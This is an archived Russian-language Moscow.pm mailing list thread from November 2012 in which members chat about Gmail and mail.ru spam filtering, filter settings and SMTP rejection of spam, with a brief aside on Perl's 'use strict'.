2012/11/28 Maxim Vuets >> >>> 2012/11/28 Dmitry Simonov : >>> > Обращаюсь к тем участниками, которые имеют отношение к хостерам. >>> >>> Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. >>> Письмо Дмитрия попало именно туда (-: >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >>> >> >> >> >> -- >> WBR, Yury Pats >> skype: yuripats >> cellular: +375 (29) 5870723 >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> >> > > > -- > С уважением, > Анатолий Шарифулин. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From simashin на gmail.com Wed Nov 28 01:58:47 2012 From: simashin на gmail.com (Alexander Simashin) Date: Wed, 28 Nov 2012 13:58:47 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: References: Message-ID: Добрый день. У меня "фильтрик" стоит на moscow.pm, который складывает отдельно все письма с этой рассылки, ну и собственно, когда фильтры создаёшь, то там есть галочка - "Never send it to spam". Ну это так - может пригодится кому :) 2012/11/28 Yury Pats > Не ну я тоже проверяю, когда мне скучно и никто не пишет :) > > > 2012/11/28 Анатолий Шарифулин > >> Юрий, мы все проверяем Спам :) >> >> >> 2012/11/28 Yury Pats >> >>> Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) >>> >>> >>> 2012/11/28 Maxim Vuets >>> >>>> 2012/11/28 Dmitry Simonov : >>>> > Обращаюсь к тем участниками, которые имеют отношение к хостерам. >>>> >>>> Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. >>>> Письмо Дмитрия попало именно туда (-: >>>> -- >>>> Moscow.pm mailing list >>>> moscow-pm на pm.org | http://moscow.pm.org >>>> >>> >>> >>> >>> -- >>> WBR, Yury Pats >>> skype: yuripats >>> cellular: +375 (29) 5870723 >>> >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >>> >>> >> >> >> -- >> С уважением, >> Анатолий Шарифулин. >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> >> > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From maxim.vuets на gmail.com Wed Nov 28 02:02:25 2012 From: maxim.vuets на gmail.com (Maxim Vuets) Date: Wed, 28 Nov 2012 11:02:25 +0100 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: 2012/11/28 Alexander Simashin : > У меня "фильтрик" стоит на moscow.pm, который складывает отдельно все письма > с этой рассылки, ну и собственно, когда фильтры создаёшь, то там есть > галочка - "Never send it to spam". Классно, спасибо! From andrei.protasovitski на gmail.com Wed Nov 28 02:06:48 2012 From: andrei.protasovitski на gmail.com (Andrei) Date: Wed, 28 Nov 2012 11:06:48 +0100 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: Лично я отслеживаю динамику цен на виагру и на девайсы для увеличения пениса. 28 ноября 2012 г., 10:36 пользователь Yury Pats написал: > Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) > > > 2012/11/28 Maxim Vuets > >> 2012/11/28 Dmitry Simonov : >> > Обращаюсь к тем участниками, которые имеют отношение к хостерам. >> >> Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. >> Письмо Дмитрия попало именно туда (-: >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- Andrei Protasovitski < andrei[dot]protasovitski[at]gmail[dot]com > Diemen, Netherlands ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From yu.pats на gmail.com Wed Nov 28 02:17:33 2012 From: yu.pats на gmail.com (Yury Pats) Date: Wed, 28 Nov 2012 13:17:33 +0300 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: Да после тебя в голландию еще ни одного белоруса не взяли! 2012/11/28 Andrei > Лично я отслеживаю динамику цен на виагру и на девайсы для увеличения > пениса. > > > 28 ноября 2012 г., 10:36 пользователь Yury Pats написал: > > Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) >> >> >> 2012/11/28 Maxim Vuets >> >>> 2012/11/28 Dmitry Simonov : >>> > Обращаюсь к тем участниками, которые имеют отношение к хостерам. >>> >>> Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. >>> Письмо Дмитрия попало именно туда (-: >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >>> >> >> >> >> -- >> WBR, Yury Pats >> skype: yuripats >> cellular: +375 (29) 5870723 >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> >> > > > -- > Andrei Protasovitski > < andrei[dot]protasovitski[at]gmail[dot]com > > Diemen, Netherlands > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From evdokimov.denis на gmail.com Wed Nov 28 03:33:18 2012 From: evdokimov.denis на gmail.com (Denis Evdokimov) Date: Wed, 28 Nov 2012 14:33:18 +0300 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: References: Message-ID: Судя по адресам, почтовый сервис предоставляет только гугл... ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From postmaster на softsearch.ru Wed Nov 28 20:49:41 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Thu, 29 Nov 2012 08:49:41 +0400 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <1746544197.20121129084941@softsearch.ru> Здравствуйте, Daniel. >> Чтобы этого не происходило надо использовать use strict; > И что? Помогает?! O_o > (частично помогает, конечно. использовать скаляры и undef в качестве > ссылок перестает удаваться. но вот перепутать array и hash - можно за > милую душу) Ну выпадет в процессе исполнения ошибка с большой вероятностью... -- С уважением, Михаил mailto:postmaster на softsearch.ru From onokonem на gmail.com Wed Nov 28 23:12:23 2012 From: onokonem на gmail.com (Daniel Podolsky) Date: Thu, 29 Nov 2012 10:12:23 +0300 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: <1746544197.20121129084941@softsearch.ru> References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1746544197.20121129084941@softsearch.ru> Message-ID: > Ну выпадет в процессе исполнения ошибка с большой вероятностью... Не, зачем нужен use strict я знаю, и всегда его использую. я выражал сомнение, что он помогает от проблем с динамической типизацией. которые не баги, а фичи, на самом деле... From worldmind на mail.ru Thu Nov 29 00:19:59 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 29 Nov 2012 12:19:59 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: <1354177198.54342218@f254.mail.ru> Причем неоднократно сталкивался и слышал от других что гугл удаляет/кладёт в спам нужные письма, и всё равно все упорно его используют Wed 28 Nov 2012 14:33:18 от Denis Evdokimov : > Судя по адресам, почтовый сервис предоставляет только гугл... > -- Alexey Shrub From chesnokov.ilya на gmail.com Thu Nov 29 00:24:09 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Thu, 29 Nov 2012 12:24:09 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: <1354177198.54342218@f254.mail.ru> References: <1354177198.54342218@f254.mail.ru> Message-ID: 29 ноября 2012 г., 12:19 пользователь Алексей Шруб написал: > Причем неоднократно сталкивался и слышал от других что гугл удаляет/кладёт > в спам нужные письма, и всё равно все упорно его используют > > Вообще, как можно использовать такое г..?! :) То ли дело мейл.ру - весь спам аккуратно в папочку "входящие" складывает :) -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Thu Nov 29 00:27:44 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 29 Nov 2012 12:27:44 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: <1354177198.54342218@f254.mail.ru> Message-ID: <1354177664.560425634@f254.mail.ru> Thu 29 Nov 2012 12:24:09 от Ilya Chesnokov : > Вообще, как можно использовать такое г..?! :) > То ли дело мейл.ру - весь спам аккуратно в папочку "входящие" складывает :) не могу ничего сказать, этот ящик не засвечен - спама нет, но знакомые говорят что заспамленность mail.ru давно в прошлом -- Alexey Shrub From denis.zhdanov на gmail.com Thu Nov 29 01:12:58 2012 From: denis.zhdanov на gmail.com (Denis Zhdanov) Date: Thu, 29 Nov 2012 10:12:58 +0100 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: <1354177198.54342218@f254.mail.ru> References: <1354177198.54342218@f254.mail.ru> Message-ID: 29 ноября 2012 г., 9:19 пользователь Алексей Шруб написал: > Причем неоднократно сталкивался и слышал от других что гугл удаляет/кладёт > в спам нужные письма, и всё равно все упорно его используют > > Как тут уже писАли, правильно настроенные фильтры спасают от этой ситуации. Хотя это кому какие письма нужны конечно... > знакомые говорят что заспамленность mail.ru давно в прошлом А это уже как в том анекдоте - "а осадочек остался" (ц) :) ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From pavel на kuptsov.info Thu Nov 29 01:53:54 2012 From: pavel на kuptsov.info (=?KOI8-R?B?8MHXxcwg69XQw8/X?=) Date: Thu, 29 Nov 2012 13:53:54 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= Message-ID: Недавно (полгода как) перевели корпоративную почту на google apps, соответственно ящики там очень сильно засвечены. 100% спама идет в спам. Правильные письма (нужные) - крайне редко, да и то в основном если это первое письмо от этого отправителя и оно содержит много подозрительных включений (html, картинки, ссылки и т.п.). Причем неоднократно сталкивался и слышал от других что гугл удаляет/кладёт > в спам нужные письма, и всё равно все упорно его используют > > не могу ничего сказать, этот ящик не засвечен - спама нет, но знакомые > говорят что заспамленность mail.ru давно в прошлом > > -- > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From chesnokov.ilya на gmail.com Thu Nov 29 01:57:54 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Thu, 29 Nov 2012 13:57:54 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: 29 ноября 2012 г., 13:53 пользователь Павел Купцов написал: > Недавно (полгода как) перевели корпоративную почту на google apps, > соответственно ящики там очень сильно засвечены. > 100% спама идет в спам. Правильные письма (нужные) - крайне редко, да и то > в основном если это первое письмо от этого отправителя и оно содержит много > подозрительных включений (html, картинки, ссылки и т.п.). > > Ещё кстати, насколько я знаю, гугл не отправляет в спам письма, отправитель которых есть в вашей адресной книге. Или по крайней мере вероятность попадания этого письма в спам меньше. > > Причем неоднократно сталкивался и слышал от других что гугл удаляет/кладёт >> в спам нужные письма, и всё равно все упорно его используют >> >> не могу ничего сказать, этот ящик не засвечен - спама нет, но знакомые >> говорят что заспамленность mail.ru давно в прошлом >> >> -- >> > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Thu Nov 29 02:32:11 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 29 Nov 2012 14:32:11 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: <1354185131.605462682@f214.mail.ru> Thu 29 Nov 2012 13:57:54 от Ilya Chesnokov : > Ещё кстати, насколько я знаю, гугл не отправляет в спам письма, отправитель которых есть в вашей адресной книге. Или по крайней мере вероятность попадания этого письма в спам меньше. С этим и проблема, если пишешь первый раз, то можешь никогда не получить ответа и думать забили на тебя или просто не получили письма -- Alexey Shrub From postmaster на softsearch.ru Thu Nov 29 03:24:33 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Thu, 29 Nov 2012 15:24:33 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: <1354185131.605462682@f214.mail.ru> References: <1354185131.605462682@f214.mail.ru> Message-ID: <105624958.20121129152433@softsearch.ru> Здравствуйте, Алексей. >> Ещё кстати, насколько я знаю, гугл не отправляет в спам письма, >> отправитель которых есть в вашей адресной книге. Или по крайней >> мере вероятность попадания этого письма в спам меньше. > С этим и проблема, если пишешь первый раз, то можешь никогда не > получить ответа и думать забили на тебя или просто не получили > письма это ж маркетинг. хочешь, чтоб прочли письмо - регайся на том почтовом сервисе, куда отправляешь письмо. :-) Форумы, например, по такой же схеме работают. -- С уважением, Михаил mailto:postmaster на softsearch.ru From worldmind на mail.ru Thu Nov 29 03:33:03 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 29 Nov 2012 15:33:03 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: <105624958.20121129152433@softsearch.ru> References: <1354185131.605462682@f214.mail.ru> <105624958.20121129152433@softsearch.ru> Message-ID: <1354188783.716574869@f220.mail.ru> Thu 29 Nov 2012 15:24:33 от Михаил Монашёв : > это ж маркетинг. хочешь, чтоб прочли письмо - регайся на том почтовом > сервисе, куда отправляешь письмо. :-) Форумы, например, по такой же > схеме работают. Скорее маркетинг в том, что можно все говорить что у нам самый крутой антиспам - мол никогда спама в инбоксе не увидите. Ашманов часто об этом пишет, что антиспам алгоримы у всех примерно одинаковые, вопрос только в их настройке - можно подкрутить параметры так что инбокс был чист и были ложные срабатывания, а можно чтобы ложных срабатываний считай небыло, но иногда спам попадал в инбокс. Гугл похоже идёт по первому пути, остальные (яндекс, мыло, яху) вроде по второму. Я за второй т.к. у вторых спам в инбоксе всё равно большая редкость, да и в папке "Спам" его очень мало. -- Alexey Shrub From chesnokov.ilya на gmail.com Thu Nov 29 04:01:49 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Thu, 29 Nov 2012 16:01:49 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: <1354188783.716574869@f220.mail.ru> References: <1354185131.605462682@f214.mail.ru> <105624958.20121129152433@softsearch.ru> <1354188783.716574869@f220.mail.ru> Message-ID: 29 ноября 2012 г., 15:33 пользователь Алексей Шруб написал: > Гугл похоже идёт по первому пути, остальные (яндекс, мыло, яху) вроде по > второму. Я за второй т.к. у вторых спам в инбоксе всё равно большая > редкость, да и в папке "Спам" его очень мало. > > Если спама мало и в инбоксе, и в папке "спам", значит его просто мало шлют (как раз потому, видимо, что ящик не "засвечен"). Не думаю, что почтовые службы просто удаляют какие-то письма, будь они хоть сто раз спамом. А вот по поводу выбора уровня фильтрации, то тут уже у каждого свои предпочтения. Кстати, я просил у мейла понизить уровень срабатывания антиспама для моего ящика, чтобы больше писем шло в "спам" - пусть и ценой ложных срабатываний, но они к моей просьбе не прислушались... Впрочем, это бесплатный сервис, так что жаловаться не на что :) -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Thu Nov 29 04:11:10 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 29 Nov 2012 16:11:10 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: <1354188783.716574869@f220.mail.ru> <1354185131.605462682@f214.mail.ru> Message-ID: <1354191070.328792241@f220.mail.ru> Thu 29 Nov 2012 16:01:49 от Ilya Chesnokov : > Не думаю, что почтовые службы просто удаляют какие-то письма, будь они хоть сто раз спамом. насколько слышал удаляют, причём основную массу, нужно спросить работающих в мэйле и яндексе -- Alexey Shrub From citrin на citrin.ru Thu Nov 29 04:18:04 2012 From: citrin на citrin.ru (Anton Yuzhaninov) Date: Thu, 29 Nov 2012 16:18:04 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: <1354191070.328792241@f220.mail.ru> References: <1354188783.716574869@f220.mail.ru> <1354185131.605462682@f214.mail.ru> <1354191070.328792241@f220.mail.ru> Message-ID: <50B7527C.3050706@citrin.ru> On 11/29/12 16:11, Алексей Шруб wrote: > Thu 29 Nov 2012 16:01:49 от Ilya Chesnokov: >> >Не думаю, что почтовые службы просто удаляют какие-то письма, будь они хоть сто раз спамом. > насколько слышал удаляют, причём основную массу, нужно спросить работающих в мэйле и яндексе Для явного спама должен выдаваться reject по SMTP в процессе приема письма и тогда отправитель письма получает баунс в котором сказано почему письмо не было принято (если конечно обратный адрес указан правильно). А то, что похоже на спам, но полной уверенности в этом нет, принимается и потом складывается в папку спам. А принять письмо и потом его молча удалить это свинство и насколько знаю ни яндекс ни мейл так не делают. -- Anton Yuzhaninov From evgeniy на kosov.su Thu Nov 29 05:59:50 2012 From: evgeniy на kosov.su (Evgeniy Kosov) Date: Thu, 29 Nov 2012 17:59:50 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: References: <1354185131.605462682@f214.mail.ru> <105624958.20121129152433@softsearch.ru> <1354188783.716574869@f220.mail.ru> Message-ID: <50B76A56.2050102@kosov.su> On 29.11.2012 16:01, Ilya Chesnokov wrote: > > 29 ноября 2012 г., 15:33 пользователь Алексей Шруб > написал: > > Гугл похоже идёт по первому пути, остальные (яндекс, мыло, яху) > вроде по второму. Я за второй т.к. у вторых спам в инбоксе всё равно > большая редкость, да и в папке "Спам" его очень мало. > > > Если спама мало и в инбоксе, и в папке "спам", значит его просто мало > шлют (как раз потому, видимо, что ящик не "засвечен"). Не думаю, что > почтовые службы просто удаляют какие-то письма, будь они хоть сто раз > спамом. Часть писем может просто реджектица ещё на этапе SMTP-сессии, например, если обратка для адреса, с которого идёт коннект, выглядит как-то странно (а-ля ppp12.34.56.78.something.br.) или её вообще нет. -- С уважением, Евгений Косов